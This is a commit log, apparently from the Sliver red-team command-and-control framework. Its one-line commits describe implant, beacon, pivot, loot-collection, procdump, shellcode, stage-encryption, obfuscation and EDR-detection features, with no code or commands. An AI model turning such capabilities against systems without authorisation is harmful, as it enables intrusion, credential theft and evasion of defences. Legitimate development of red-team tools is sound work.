Bump nokogiri from 1.13.4 to 1.13.6 in /docs
2022-05-18 23:22:19 -05:00
dependabot[bot] a5fd494f13 Bump nokogiri from 1.13.4 to 1.13.6 in /docs
Bumps [nokogiri](https://github.com/sparklemotion/nokogiri) from 1.13.4 to 1.13.6.
- [Release notes](https://github.com/sparklemotion/nokogiri/releases)
- [Changelog](https://github.com/sparklemotion/nokogiri/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/nokogiri/compare/v1.13.4...v1.13.6)

---
updated-dependencies:
- dependency-name: nokogiri
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-05-19 03:40:00 +00:00
Joe 6fa4aeb780 Merge pull request #676 from BishopFox/go/v1.18.2
Go v1.18.2
2022-05-14 21:16:40 -05:00
moloch-- 4e6466f43c Go v1.18.2 2022-05-14 18:02:45 -07:00
Ronan Kervella 802ad9dded Merge pull request #675 from r00t0v3rr1d3/r00t0v3rr1d3-fix-timeout
Reduce http idle conn timeout
2022-05-11 15:53:18 -07:00
Chris Shields 11fb6a5d31 Reduce http idle conn timeout
Fixing regression issue where keep-alive packets were sent every 15 seconds using gohttp. I think this was only applied to https clients the first time as well, so now it is for both.
2022-05-11 17:24:24 -04:00
Joe dc18da51b6 Merge pull request #672 from RafBishopFox/master
UX Changes for Looting and Refactoring in the client/exec package
2022-05-04 16:35:09 -05:00
RafBishopFox a7c0a2a667 Harmonizing UX for loot across commands that support it with refactoring along the way 2022-05-04 14:48:53 -04:00
Joe e9b08e5723 Merge pull request #671 from RafBishopFox/download_loot
Add loot support to the download command
2022-05-02 14:27:19 -05:00
RafBishopFox 144fb88f74 Refactoring download and loot remote code, feature parity for download -X, various small fixes 2022-05-02 13:46:07 -04:00
RafBishopFox cb11ca6b0c Adding error checking when we can resolve the absolute path when downloading 2022-04-28 13:30:51 -04:00
RafBishopFox 708608c6f0 Adding the rest of the protobuf changes 2022-04-28 13:23:13 -04:00
RafBishopFox 4110b5bd28 Adding changes to sliver protobuf 2022-04-28 13:18:18 -04:00
RafBishopFox 73e59797d1 Standardize on use of filepath to resolve file names 2022-04-28 13:10:32 -04:00
RafBishopFox 7da3ccd876 Add loot support to the download command 2022-04-28 12:53:45 -04:00
Ronan Kervella e7452b27d5 Merge pull request #669 from RafBishopFox/master
Changing token owner to token user to display user name associated with processes in Windows
2022-04-27 12:01:13 -07:00
RafBishopFox ff503203e3 Changing token owner to token user to display user name associated with a process in Windows 2022-04-27 13:45:28 -04:00
moloch-- 8462e4415f added linux-arm64 to makefile, only specify arm64 GOARCH for no target 2022-04-26 18:22:23 -05:00
moloch-- af2f7ffc9d Organized go mod 2022-04-26 15:02:05 -05:00
moloch-- aacf2c16ac Add strategy flags to profile cmds 2022-04-18 12:40:58 -05:00
moloch-- c345731a6b Add static links to .so objs when using external CC 2022-04-17 23:47:18 -05:00
moloch-- c495377f4b Tweak CC env order 2022-04-17 20:57:29 -05:00
Joe cd5717db2a Merge pull request #664 from BishopFox/ux/strategy
Ux/strategy
2022-04-17 00:30:01 -05:00
moloch-- 1f00eec899 Remove conflicting beacon flag 2022-04-16 22:58:12 -05:00
moloch-- ef87aa91cc Append '.' to dns listener domain if missing 2022-04-16 21:29:47 -05:00
moloch-- faab1edaaf Implement connection strategy 2022-04-16 21:15:55 -05:00
Joe 6dab042c8c Merge pull request #663 from BishopFox/ux/cdc
Ux/cdc
2022-04-14 18:53:22 -05:00
Joe b116ac97c5 Merge pull request #660 from BishopFox/go/v1.18.1
Go/v1.18.1
2022-04-13 20:58:30 -05:00
moloch-- d9fe00d1ef Implemented session filter/filter-re 2022-04-13 20:36:37 -05:00
moloch-- 630f215bed Implemented beacon filter/filter-re 2022-04-13 14:48:27 -05:00
moloch-- f42ba31753 Organized imports 2022-04-13 13:53:07 -05:00
moloch-- 72065cd39e Removed totp <-> dns session id 2022-04-13 11:29:56 -05:00
moloch-- 0c1a0fd7bf Implement option to disable dns otp auth 2022-04-13 08:58:44 -05:00
moloch-- c12cbc77a7 Added linux arm64 support to builds 2022-04-13 08:25:08 -05:00
moloch-- f79e0d1845 Go v1.18.1 2022-04-13 08:11:23 -05:00
Joe b4b1a5bf74 Merge pull request #658 from BishopFox/dependabot/bundler/docs/nokogiri-1.13.4
Bump nokogiri from 1.13.3 to 1.13.4 in /docs
2022-04-12 07:56:39 -05:00
dependabot[bot] c0431bf9db Bump nokogiri from 1.13.3 to 1.13.4 in /docs
Bumps [nokogiri](https://github.com/sparklemotion/nokogiri) from 1.13.3 to 1.13.4.
- [Release notes](https://github.com/sparklemotion/nokogiri/releases)
- [Changelog](https://github.com/sparklemotion/nokogiri/blob/v1.13.4/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/nokogiri/compare/v1.13.3...v1.13.4)

---
updated-dependencies:
- dependency-name: nokogiri
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-04-12 10:03:25 +00:00
moloch-- 54ce7ef341 Added support for HTTPS_PROXY 2022-04-07 08:26:06 -05:00
moloch-- bbff000f5d Increase ci/cd timeout 2022-04-04 12:38:55 -07:00
Joe 009cae470e Merge pull request #656 from BishopFox/go-sqlite2
Updated gosqlite
2022-04-04 14:31:08 -05:00
moloch-- 291fcf6dc3 Updated gosqlite 2022-04-04 11:36:01 -07:00
Joe 696d2980ff Merge pull request #655 from npbf/wininet-promptpass
Add wininet driver option to ask user for proxy password
2022-04-01 19:12:17 -05:00
Noah f2065ca72a add option to ask for proxy creds 2022-04-01 15:26:51 -06:00
Noah 5a9c4c9ddb refactor, fix error return 2022-04-01 14:35:48 -06:00
Joe 6ff1edb962 Merge pull request #652 from m0rv4i/stack-alignment
Prepend stack alignment check to shellcode
2022-04-01 14:02:52 -05:00
Joe 93e772f5bf Merge pull request #654 from m0rv4i/file-saving
Fix go stager file saving
2022-04-01 12:58:20 -05:00
Joe 7f714621ea Merge pull request #647 from npbf/wininet
merge wininet, fix cookies
2022-04-01 12:16:57 -05:00
m0rv4i 11a4ae0741 Prepend stack alignment check to donut shellcode 2022-04-01 10:18:07 +01:00
m0rv4i debee05136 Fix go stager file saving 2022-03-31 20:36:41 +01:00
Noah c8eec91232 add prompt user for creds 2022-03-31 13:08:21 -06:00
Ronan Kervella f79a2892b7 Merge pull request #650 from RafBishopFox/master
Adding procdump support for Linux
2022-03-30 11:56:13 -07:00
RafBishopFox b86e49d341 Adding procdump support for Linux 2022-03-30 10:08:04 -04:00
Noah 8e6a8035b2 update err variables 2022-03-29 16:26:12 -06:00
Noah 0a8d4cb517 merge wininet, fix cookies
Extracted from winhttp2 branch
- limited to wininet code
- merged httpclient
- added (copied) cookie jar implementation to wininet
2022-03-28 10:47:34 -06:00
Ronan Kervella e098e3ec08 Merge pull request #637 from audibleblink/current-token-owner
display token owner
2022-03-23 14:03:34 -07:00
Alex Flores a89e52548d fixes beacon-mode printing 2022-03-23 15:07:07 -04:00
Alex Flores fe873b8d8e adds generated protobuf files 2022-03-23 14:18:56 -04:00
Alex Flores d0af0f5534 adds viewing current impersonated token via whoami 2022-03-23 14:18:55 -04:00
kmathisbf 3cc982068a Merge pull request #645 from BishopFox/session_clean_fix
Make sure timeout gets set when cleaning up dead sessions.
2022-03-23 13:58:12 -04:00
Kenny Mathis 1073dedf10 Make sure timeout gets set when cleaning up dead sessions. 2022-03-23 12:55:59 -04:00
Joe e42e6be266 Merge pull request #643 from BishopFox/fix/operator-dead-sessions
Fix `prelude-operator connect`
2022-03-22 13:42:40 -05:00
rkervella e43622606f Do not add dead sessions to operator 2022-03-22 10:23:21 -07:00
Joe 59c642143d Merge pull request #642 from audibleblink/no-ci-on-draft-prs
omits running CI on draft PRs
2022-03-21 23:13:01 -05:00
Alex Flores 8f01ab216d skip running CI on draft PRs 2022-03-21 22:45:52 -04:00
Ronan Kervella 062f89e768 Merge pull request #638 from audibleblink/feature/mv
adds generic mv command
2022-03-21 15:42:50 -07:00
Alex Flores 03b470aec7 adds generated protobuf files 2022-03-21 15:17:24 -04:00
Alex Flores a74d6f6250 adds mv command 2022-03-21 15:17:23 -04:00
moloch-- 4f62f16a1d Fix GOGARBLE env 2022-03-21 13:41:03 -05:00
Joe d4ec2203cb Merge pull request #640 from BishopFox/go/v1.18
Go/v1.18
2022-03-21 12:19:48 -05:00
moloch-- 8309e7af14 Merge master 2022-03-21 10:19:48 -05:00
moloch-- 68a270581f Pass down HTTP_PROXY env to go 2022-03-21 10:15:02 -05:00
moloch-- 5e222411c8 Update pb deps 2022-03-20 13:40:10 -05:00
moloch-- 727a40bc35 Update garble 2022-03-20 13:02:25 -05:00
moloch-- 2038fbcfa3 Update CI to Go v1.18 2022-03-20 12:13:11 -05:00
moloch-- 9a5a3d161a Fix err check in wg 2022-03-20 11:46:41 -05:00
moloch-- 4b4e7c82f2 Implant compiles, but errors on runtime 2022-03-20 11:44:25 -05:00
moloch-- 2844ef91d3 Update implant 2022-03-20 11:37:39 -05:00
moloch-- cffbae3da7 Compiles ... 2022-03-20 11:19:30 -05:00
moloch-- 35fa3c95b8 Attempting to use wg example code 2022-03-20 11:16:27 -05:00
moloch-- 53afb01366 Attempting to use wg example code 2022-03-20 11:16:20 -05:00
moloch-- 33401dcd18 Merge master 2022-03-20 10:58:04 -05:00
Ronan Kervella f4fcbd9cdf Merge pull request #624 from BishopFox/fix/stage_encryption
Refactoring of client side crypto code
2022-03-09 12:55:15 -08:00
rkervella 3c864311fa Add missing file 2022-03-09 12:00:16 -08:00
rkervella 6db7c42d47 Refactor client cryptography code. 2022-03-09 11:59:43 -08:00
Ronan Kervella 004047308f Merge pull request #623 from BishopFox/fix/beacon-service
Service beacons
2022-03-09 11:24:51 -08:00
rkervella ca0fd1e7be Refactor to allow beacon services on Windows.
Fixes #622.
2022-03-08 12:48:23 -08:00
Ronan Kervella 204f013c5d Merge pull request #620 from BishopFox/feature/beacon-operator
Add beacon support to `prelude-operator connect`
2022-03-07 09:53:48 -08:00
moloch-- ac33916348 Update gems 2022-03-06 07:30:26 -06:00
rkervella 75b96fbc29 Remove powershell support from Linux and Darwin executors 2022-03-04 15:44:19 -08:00
rkervella 07bfb1735e Fix null pointer deref in error case 2022-03-04 15:43:14 -08:00
Joe ea20b344ce Merge pull request #619 from BishopFox/go/v1.17.8
Go v1.17.8
2022-03-04 17:31:04 -06:00
rkervella 98c1ac9547 Merge branch 'master' into feature/beacon-operator 2022-03-04 15:23:51 -08:00
rkervella 439c88ce78 Add missing file 2022-03-04 15:20:00 -08:00
rkervella 461aa255ca Add beacon support for Operator 2022-03-04 15:19:50 -08:00
moloch-- 076e34dd02 Go v1.17.8 2022-03-04 12:04:56 -06:00
Ronan Kervella ae517d1d34 Merge pull request #618 from BishopFox/fix/dll-race
Add "run-at-load" flag for shared libraries
2022-03-03 15:38:24 -08:00
rkervella d34541a3d4 Add "run-at-load" flag for shared libraries 2022-03-03 13:37:22 -08:00
Joe db7adc172d Merge pull request #617 from ExAndroidDev/stage-encryption
Added option to encrypt the stage via AES encryption
2022-03-02 07:18:19 -06:00
ExAndroidDev 2f520931f8 Added option to encrypt the stage via AES encryption 2022-02-28 17:15:27 +01:00
Joe 707ce345c7 Merge pull request #616 from BishopFox/dependabot/bundler/docs/nokogiri-1.13.3
Bump nokogiri from 1.12.5 to 1.13.3 in /docs
2022-02-26 07:48:16 -06:00
dependabot[bot] fcae20f92a Bump nokogiri from 1.12.5 to 1.13.3 in /docs
Bumps [nokogiri](https://github.com/sparklemotion/nokogiri) from 1.12.5 to 1.13.3.
- [Release notes](https://github.com/sparklemotion/nokogiri/releases)
- [Changelog](https://github.com/sparklemotion/nokogiri/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/nokogiri/compare/v1.12.5...v1.13.3)

---
updated-dependencies:
- dependency-name: nokogiri
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-02-26 12:06:00 +00:00
moloch-- d09c1fd086 align prelude bof compatibility 2022-02-24 11:57:11 -06:00
moloch-- 98f510abf4 Allow more env overloads in makefile 2022-02-23 19:28:38 -06:00
Joe f2aa7b45c8 Merge pull request #614 from BishopFox/fix/exts
Various small fixes to extensions
2022-02-23 17:57:49 -06:00
moloch-- 01a0bfc9cf various small fixes to extensions 2022-02-23 17:18:55 -06:00
Ronan Kervella 0cef6749b5 Merge pull request #613 from BishopFox/fix/screenshot
Fix for screenshot command
2022-02-23 14:31:23 -08:00
rkervella 2b286ae3cf Deserialize to the proper message, and don't reuse message in response. Fixes Screenshot not working. #610 2022-02-23 13:53:19 -08:00
Ronan Kervella ee7d36dfed Merge pull request #611 from BishopFox/feature/beacon-audit-log
Add beacon registration to audit log
2022-02-22 18:12:46 -08:00
rkervella 7d793841f9 Add beacon registration to audit log 2022-02-22 15:52:32 -08:00
Joe fc61b82de2 Merge pull request #603 from BishopFox/fix/obfuscation
Fix regexp to include enums
2022-02-19 11:17:08 -06:00
moloch-- c91c724912 update garble with upstream, GOGARBLE, and -seed=random 2022-02-17 17:26:29 -06:00
rkervella 46d81fefa1 Fix regexp to include enums 2022-02-17 14:30:56 -08:00
moloch-- 23da56f5f9 Go v1.18 rc1 2022-02-17 16:15:50 -06:00
moloch-- 4a8397374e regenerate pb 2022-02-17 15:53:38 -06:00
moloch-- 359224a43e Added JS_TYPE to pivot protos 2022-02-17 15:51:47 -06:00
moloch-- 8a2d087039 Reduce http idle conn timeout 2022-02-17 15:51:47 -06:00
Joe aa50e9c874 Update README.md 2022-02-13 11:59:23 -06:00
Joe 646ef4273a Merge pull request #599 from BishopFox/fix/kill
Fix/kill
2022-02-12 18:59:52 -06:00
moloch-- 34738d2337 check rpc err on terminate cmd 2022-02-12 18:25:56 -06:00
moloch-- de31135fa5 fix related to session state mgmt and kill 2022-02-12 16:14:09 -06:00
Joe 8bc39cc231 Merge pull request #598 from BishopFox/fix/pivots
Fix/pivots
2022-02-12 14:54:44 -06:00
moloch-- f71a066ffc fix pivot/server ping interval, and calculation of pivot health 2022-02-12 13:45:00 -06:00
moloch-- 4b2b80b2f8 fix pivot session cleanup 2022-02-12 12:45:07 -06:00
moloch-- 41669ed41f fix pivotsession cleanup 2022-02-12 12:43:35 -06:00
moloch-- cdfee6510e fix issue #590, and improper named pivot peer ping cleanup 2022-02-12 12:41:39 -06:00
Joe 3826ca851e Merge pull request #596 from BishopFox/fix/reconfig
Fix Reconfig/Rename
2022-02-12 09:42:02 -06:00
moloch-- d2d7637b7d Updated reconfig cmd to support beacons, seperated rename cmd 2022-02-12 09:14:06 -06:00
moloch-- e907878674 Added link to wiki in help 2022-02-11 18:33:22 -06:00
Joe 21b7842bbf Merge pull request #595 from BishopFox/go/v1.17.7
Go v1.17.7
2022-02-11 17:04:48 -06:00
moloch-- b1ad4ada9e Go v1.17.7 2022-02-11 14:27:31 -06:00
Joe cf0b9766f7 Merge pull request #594 from kyleavery/prelude-changes
Prelude Operator: Small fixes and a new feature
2022-02-09 07:44:19 -06:00
Kyle Avery c4b096f867 fix coff-loader path 2022-02-09 04:40:23 -06:00
Kyle Avery 295c7cb5a0 Bringing back in executor changes 2022-02-09 04:33:18 -06:00
Kyle Avery 6d8d80970e trying out execute-assembly 2022-02-09 04:22:19 -06:00
Kyle Avery 925e5dfee7 testing 2022-02-08 18:56:21 -06:00
Kyle Avery 1885dc5ee3 added pwsh 2022-02-08 18:16:38 -06:00
Kyle Avery 1f694bda41 changes from v1.5.0_prelude_bugfix 2022-02-08 18:01:36 -06:00
Joe 53a35e4727 Update README.md 2022-02-08 17:59:10 -06:00
Joe 082dd94ea5 Merge pull request #591 from BishopFox/ux/term
tui ux improvements
2022-02-07 14:10:38 -07:00
moloch-- e71d142d86 tui ux improvements 2022-02-07 14:16:13 -06:00
moloch-- 260f4d4d75 Add extra help to alias cmds 2022-02-07 11:04:30 -06:00
moloch-- 05b663ee8a Add extra help to alias cmds 2022-02-07 11:03:02 -06:00
Joe c78a99a58f Merge pull request #587 from hypnoticpattern/master
fix: upload raise error if file isn't accessible
2022-02-07 07:27:17 -07:00
hypnoticpattern c874565177 fix: upload raise error if file isn't accessible 2022-02-06 23:28:23 -08:00
moloch-- 57d36054b2 Simplify rng initialization 2022-01-31 11:02:07 -07:00
Joe 154061e93a Merge pull request #585 from BishopFox/fix/http-c2-cfg
Implement fix for issue #584
2022-01-29 15:36:15 -06:00
moloch-- d514872d6f Implement fix for issue #584 2022-01-29 14:43:40 -06:00
moloch-- 30c46e85e7 fix comments 2022-01-29 08:31:30 -06:00
moloch-- 87e85bfa40 Verify c2 url scheme matches cmd flag 2022-01-28 17:10:08 -06:00
moloch-- f7a9040352 Fix linux install script 2022-01-28 11:27:40 -06:00
moloch-- 1756ffa2cd Updated install script to not unzip artifacts 2022-01-28 09:43:49 -06:00
moloch-- 928faad39a Fix msf/msf-remote cmds 2022-01-28 09:15:33 -06:00
moloch-- 34f28b15bc Fix windows file name 2022-01-27 11:51:35 -06:00
moloch-- 95ba042198 those arent zip files ... 2022-01-27 11:36:07 -06:00
moloch-- 80375092fe reorder unzip cmd flags 2022-01-27 11:09:58 -06:00
moloch-- 271d50d65c reorder unzip cmd flags 2022-01-27 10:31:51 -06:00
moloch-- 752efb0ed8 Add the .zip suffix because unzip is picky 2022-01-27 09:58:46 -06:00
moloch-- 657831f0c0 Extract artifacts from prior step 2022-01-27 09:23:47 -06:00
moloch-- 6382dcabc4 Extract artifacts from prior step 2022-01-27 09:07:53 -06:00
moloch-- 31efd2afb1 attempt to re-enable arm64 builds 2022-01-27 08:50:02 -06:00
Joe 1d2e76ba47 Merge pull request #578 from BishopFox/bugfix/fix-session-kill-format-string
Fix format string for session kills
2022-01-26 08:56:19 -06:00
Chris Smith ec1339e766 Updated format string 2022-01-25 13:46:57 +00:00
moloch-- 9ba2d4cdfb Fix interactive command parsing https c2 urls 2022-01-24 20:21:56 -06:00
Chris Smith b452d42314 Fix format string for session kills 2022-01-25 01:55:35 +00:00
moloch-- 8e9f6a874c Removed some problematic words from rng dictionaries 2022-01-24 17:21:30 -06:00
moloch-- d0f51d7792 Fix for issue #576 2022-01-24 10:25:33 -06:00
moloch-- ce1d2a2c55 Fix fmt type in kill session 2022-01-24 09:17:59 -06:00
moloch-- 6965958097 fix for issue #575 2022-01-24 08:44:19 -06:00
moloch-- eb8d1bdf11 Add new flags to linux static build 2022-01-23 17:35:55 -06:00
moloch-- 6e5797670d update github pages 2022-01-23 17:23:37 -06:00
Joe c1eeb532e3 Merge pull request #574 from BishopFox/feature/async-alias
Added support for aliases in beacon mode
2022-01-23 15:02:35 -06:00
Joe c7c8027091 Merge pull request #573 from BishopFox/feature/async-ext
Feature/async ext
2022-01-23 14:33:16 -06:00
moloch-- ce27108c1a Added support for aliases in beacon mode 2022-01-23 14:33:02 -06:00
moloch-- 235fb87842 Skip list ext check in beacon mode 2022-01-23 14:02:50 -06:00
moloch-- a0d71f4fe8 fix output 2022-01-23 13:18:02 -06:00
moloch-- 0502f82967 cleanup 2022-01-23 13:07:32 -06:00
moloch-- 2553772ec0 exts execute in beacon mode but no output 2022-01-23 11:58:58 -06:00
moloch-- 406a10d639 initial refactor to support async ext 2022-01-23 10:01:47 -06:00
moloch-- 92b2d2464c initial refactor to support async ext 2022-01-23 10:01:44 -06:00
moloch-- ead0a5ea1e Use golang.org/x/term 2022-01-22 11:44:39 -06:00
moloch-- d0ec264454 hide armory urls on small terminals 2022-01-22 10:23:14 -06:00
moloch-- 9c7e47c95e added armory github.com parser 2022-01-22 08:57:20 -06:00
Joe 4c5a099d5c Merge pull request #569 from BishopFox/fix/alias
Fix/alias
2022-01-22 08:02:49 -06:00
moloch-- 4ed42e4a3d fix alias tar.gz artifact paths 2022-01-22 07:35:47 -06:00
moloch-- ffee881de0 fix alias loading 2022-01-21 21:41:43 -06:00
moloch-- 339bf15387 fix alias loading 2022-01-21 21:20:00 -06:00
moloch-- 92c9a50ba7 style cleanup 2022-01-21 20:58:51 -06:00
Joe 99e6765896 Merge pull request #568 from BishopFox/fix/namedpipes
fix named pipe pivots
2022-01-21 20:02:30 -06:00
moloch-- b5d1e9a3d1 fix named pipe pivots 2022-01-21 19:36:03 -06:00
Joe d1dbd3dcb7 Merge pull request #566 from bluec0re/patch-1
Fix broken implants rm command
2022-01-21 09:14:01 -06:00
BlueC0re 8b81de5129 Fix broken implants rm command
ImplantConfig.Name is empty and the config name is instead stored in the map key.
2022-01-21 15:30:05 +01:00
moloch-- bcc7fb0fcb Fix several bugs related to alias interface 2022-01-20 19:43:00 -06:00
moloch-- 795001f690 Remove debug 2022-01-20 18:15:57 -06:00
moloch-- b0c4f89bcf Improved armory error msgs 2022-01-20 18:13:33 -06:00
moloch-- fb72322065 Added stylized sec product names 2022-01-20 14:02:55 -06:00
moloch-- a1e51d64d4 fix variable name 2022-01-20 08:52:03 -06:00
moloch-- d15c257176 Updated readme 2022-01-20 08:27:00 -06:00
moloch-- 97d3da75b6 Merge master 2022-01-20 08:22:39 -06:00
moloch-- 4e3efeb623 Removed # 2022-01-19 20:39:47 -06:00
moloch-- 81c7dd69da Fix miscalculation in randomization of long poll timeout 2022-01-19 20:19:43 -06:00
moloch-- 6c3b754943 ux improvements 2022-01-19 19:04:49 -06:00
moloch-- fbea84eeb6 fix several format strings 2022-01-19 18:36:17 -06:00
moloch-- 0c83bdc6d1 converted session id to uuid 2022-01-19 18:28:41 -06:00
moloch-- 476eafccf5 Implemented close session cmd 2022-01-19 11:42:15 -06:00
moloch-- 1501633565 Interactive pulls active c2 2022-01-19 09:20:16 -06:00
moloch-- addd22d2f7 Fix implant init 2022-01-19 08:21:54 -06:00
moloch-- f196278c3e Fix implant init 2022-01-19 08:21:07 -06:00
moloch-- 3aa33d3679 Merge pr #552 2022-01-19 08:10:27 -06:00
moloch-- ab197461ae Merge branch 'stage' into usiegl00-stage3 2022-01-19 07:53:12 -06:00
moloch-- 6488df4374 added force-http option 2022-01-19 07:48:54 -06:00
usiegl00 15c5eb29e5 Merge branch 'stage' of https://github.com/BishopFox/sliver into stage3 2022-01-19 14:40:36 +09:00
moloch-- 91e4f5a33b Fix init 2022-01-18 22:35:06 -06:00
moloch-- 62a6ffd1ac Fix pivot reconnection/restart listener 2022-01-18 21:28:23 -06:00
moloch-- a69512ba65 Implemented detection of downstream pivot disconnects/errors 2022-01-18 15:27:08 -06:00
moloch-- 3a1cd3a477 Merge branch 'stage' into v1.5.0_pivots 2022-01-18 09:09:51 -06:00
moloch-- da0499f9da Converted core jobs to sync.map 2022-01-18 08:38:33 -06:00
moloch-- 3169b436a8 server can detect disconnected pivot sessions when parent session is disconnected 2022-01-18 08:25:37 -06:00
moloch-- 26faea2ae0 wip: close upstream disconnected pivot sessions 2022-01-18 08:25:37 -06:00
moloch-- 11eb5f5f27 pivot graph working 2022-01-18 08:25:36 -06:00
moloch-- 49d742cfad Implemented pivot graphs 2022-01-18 08:25:36 -06:00
moloch-- 028521ddc0 tweak pivots ui 2022-01-18 08:25:36 -06:00
moloch-- 66dad91d86 basic n-depth pivots working 2022-01-18 08:25:36 -06:00
moloch-- b9f8e045d9 Fix pivot session id parsing 2022-01-18 08:25:36 -06:00
moloch-- 8ffad32591 Reworked and simplified design, new key exchange 2022-01-18 08:25:36 -06:00
moloch-- d60dcabd86 check golang version 2022-01-18 08:25:36 -06:00
moloch-- 68cece2b96 wip on minor updates 2022-01-18 08:25:36 -06:00
moloch-- 5d3ef197e3 simplified nested envelopes 2022-01-18 08:25:36 -06:00
moloch-- 62c8d678e2 Refactor/simplified design 2022-01-18 08:25:36 -06:00
moloch-- 68fd6b27f9 Refactor/simplified design 2022-01-18 08:25:36 -06:00
moloch-- 21d2a10b7a Removed some unprofessional words from our english dictionary 2022-01-18 08:25:36 -06:00
moloch-- efd4115a1c Minor fixes 2022-01-18 08:25:36 -06:00
moloch-- eed3f51be2 server can detect disconnected pivot sessions when parent session is disconnected 2022-01-18 08:24:34 -06:00
moloch-- 54b09d9a26 wip: close upstream disconnected pivot sessions 2022-01-17 22:32:36 -06:00
moloch-- 1bc1bc11c0 pivot graph working 2022-01-17 17:55:50 -06:00
moloch-- 14aebe943c Implemented pivot graphs 2022-01-16 10:58:12 -06:00
moloch-- 0f20dddc95 tweak pivots ui 2022-01-15 16:36:16 -06:00
moloch-- 75e0b9d931 basic n-depth pivots working 2022-01-15 09:44:58 -06:00
moloch-- 7af5280cd6 Fix pivot session id parsing 2022-01-15 08:50:33 -06:00
moloch-- 1d86383e0d Reworked and simplified design, new key exchange 2022-01-15 08:36:39 -06:00
rkervella 3be52dde2f Add back exports 2022-01-12 09:12:44 -08:00
rkervella 8b18bf571a Install dependencies for bundles too 2022-01-11 14:25:44 -08:00
moloch-- 6dacb8ad9f Merge branch 'stage' into v1.5.0_pivots 2022-01-10 11:20:02 -06:00
moloch-- 1db8e5a22e check golang version 2022-01-10 11:19:56 -06:00
moloch-- 45f323eae9 wip on minor updates 2022-01-08 09:48:53 -06:00
moloch-- 22e615b1b4 Merge branch 'stage' into v1.5.0_pivots 2022-01-06 09:22:06 -06:00
moloch-- afa534ea39 simplified nested envelopes 2022-01-06 09:16:20 -06:00
Joe 10429b7314 Merge pull request #560 from hypnoticpattern/dev-hp
Fixed bug in ls command and added timestamp to SessionClosed
2022-01-05 22:24:35 -06:00
hypnoticpattern dfb6d2e1bb Fixed bug with 'ls' command 2022-01-05 16:54:19 -08:00
hypnoticpattern de3f2c827d Added timestamp to the SessionClosed event 2022-01-05 14:11:28 -08:00
Joe 4569621a8a Merge pull request #559 from hypnoticpattern/dev-hp
Added Crowdstrike Falcon EDR to known processes
2022-01-05 12:25:51 -06:00
hypnoticpattern f21242ca2c Added Crowdstrike Falcon EDR 2022-01-05 08:17:23 -08:00
moloch-- c13a71c92f Refactor/simplified design 2022-01-04 10:51:59 -06:00
moloch-- 9b85a63f69 Refactor/simplified design 2022-01-04 09:53:12 -06:00
moloch-- fdab12c9a5 Removed some unprofessional words from our english dictionary 2022-01-03 11:53:49 -06:00
moloch-- 26abb42859 Minor fixes 2022-01-03 08:54:32 -06:00
moloch-- bf892e9c4b Fix ext id when loading into implant 2022-01-01 09:29:33 -06:00
moloch-- cb7f2b1aea Added download msg 2021-12-31 10:50:40 -06:00
moloch-- 44f16bb6a3 Improved ux 2021-12-31 10:21:41 -06:00
moloch-- 51af17906c Remove coff loader from go assets script 2021-12-31 10:17:47 -06:00
moloch-- 4ba374cee6 Fix extraction path in install from file 2021-12-31 10:12:04 -06:00
moloch-- 55c1145b2d Fix plaintext len calculation 2021-12-30 19:28:27 -06:00
rkervella 336fc4ffea Avoid attempting to load empty library 2021-12-30 13:52:22 -08:00
rkervella 581395e9a4 Fix extension filepath 2021-12-30 13:51:57 -08:00
moloch-- 16ce440014 Fix help cmd 2021-12-30 14:33:23 -06:00
moloch-- 2bf87bff98 Merge branch 'alias-ext' into stage 2021-12-30 11:49:41 -06:00
rkervella 63c316e4d7 Set full file path 2021-12-30 09:48:39 -08:00
moloch-- 65788c1003 Fix armory update cmd exists 2021-12-30 11:44:54 -06:00
moloch-- cf8e6ace2e Basic implementation of bundles 2021-12-30 10:47:10 -06:00
moloch-- 131061a015 Implemented update cmd 2021-12-30 10:09:02 -06:00
moloch-- ed18705ccf Use fork of grumble so we can remove cmds 2021-12-30 09:51:46 -06:00
moloch-- 88be0e0846 Added search cmd 2021-12-29 17:46:42 -06:00
moloch-- edd330a4e1 Make coff-loader removable 2021-12-29 17:11:38 -06:00
moloch-- 26c4d04d8d Use cmd name as key to pkgCache 2021-12-29 17:09:37 -06:00
moloch-- 283f605351 Fix variable shadowing, improved ux 2021-12-29 08:39:45 -06:00
moloch-- fd82c4b171 Added an update cmd 2021-12-28 16:24:40 -06:00
rkervella 3d0d61685c Avoid adding empty dependency 2021-12-28 09:04:08 -08:00
moloch-- 177358040f Skip installation of dep if it already exists 2021-12-28 08:44:28 -06:00
moloch-- e4db7d3323 Added a max depth 2021-12-28 08:39:18 -06:00
moloch-- 7b42983e4f Avoid n-depth circular deps 2021-12-28 08:37:24 -06:00
moloch-- 441f97ad6f Added install alias and ext dep resolution 2021-12-28 08:28:12 -06:00
moloch-- efea316519 wip: dep resolver 2021-12-27 22:27:05 -06:00
moloch-- f391f72b04 update extensions readme 2021-12-27 21:26:06 -06:00
moloch-- 2ebaf3115c update extensions readme 2021-12-27 21:25:44 -06:00
moloch-- 630adc0e48 update extensions readme 2021-12-27 21:24:39 -06:00
moloch-- 981aa8b80f add alias rm 2021-12-27 20:33:19 -06:00
moloch-- 024f70edc5 Prevent removal of coff-loader ext 2021-12-27 19:38:32 -06:00
moloch-- bf9b3f4aa6 Eager load installed cmds 2021-12-27 19:26:14 -06:00
moloch-- 5fc94d24bd Added an extensions rm cmd 2021-12-27 18:13:01 -06:00
moloch-- 5394f77f4a Implemented table 2021-12-27 17:29:06 -06:00
moloch-- b41ac3a229 Basic pkg info working 2021-12-27 17:09:13 -06:00
moloch-- 5c3fd8cb2b wip: armory cmd 2021-12-27 09:59:56 -06:00
moloch-- adbe7c7def Consisten ux 2021-12-26 21:43:34 -06:00
moloch-- bfcbb0bba6 Small fixes 2021-12-26 18:18:56 -06:00
moloch-- 4495c36853 added unit tests for alias parser 2021-12-26 17:27:12 -06:00
moloch-- f8d2f30344 added unit tests for ext manifest parsing 2021-12-26 16:08:00 -06:00
moloch-- 55752d1109 added os specific path handling to util 2021-12-26 12:15:29 -06:00
moloch-- 48f7560655 Implemented alias install cmd 2021-12-26 10:05:03 -06:00
moloch-- 92e0f87d44 Implemented ext install cmd 2021-12-24 19:36:21 -06:00
moloch-- 13498da60c Implemented more ux features for extensions 2021-12-24 14:25:30 -06:00
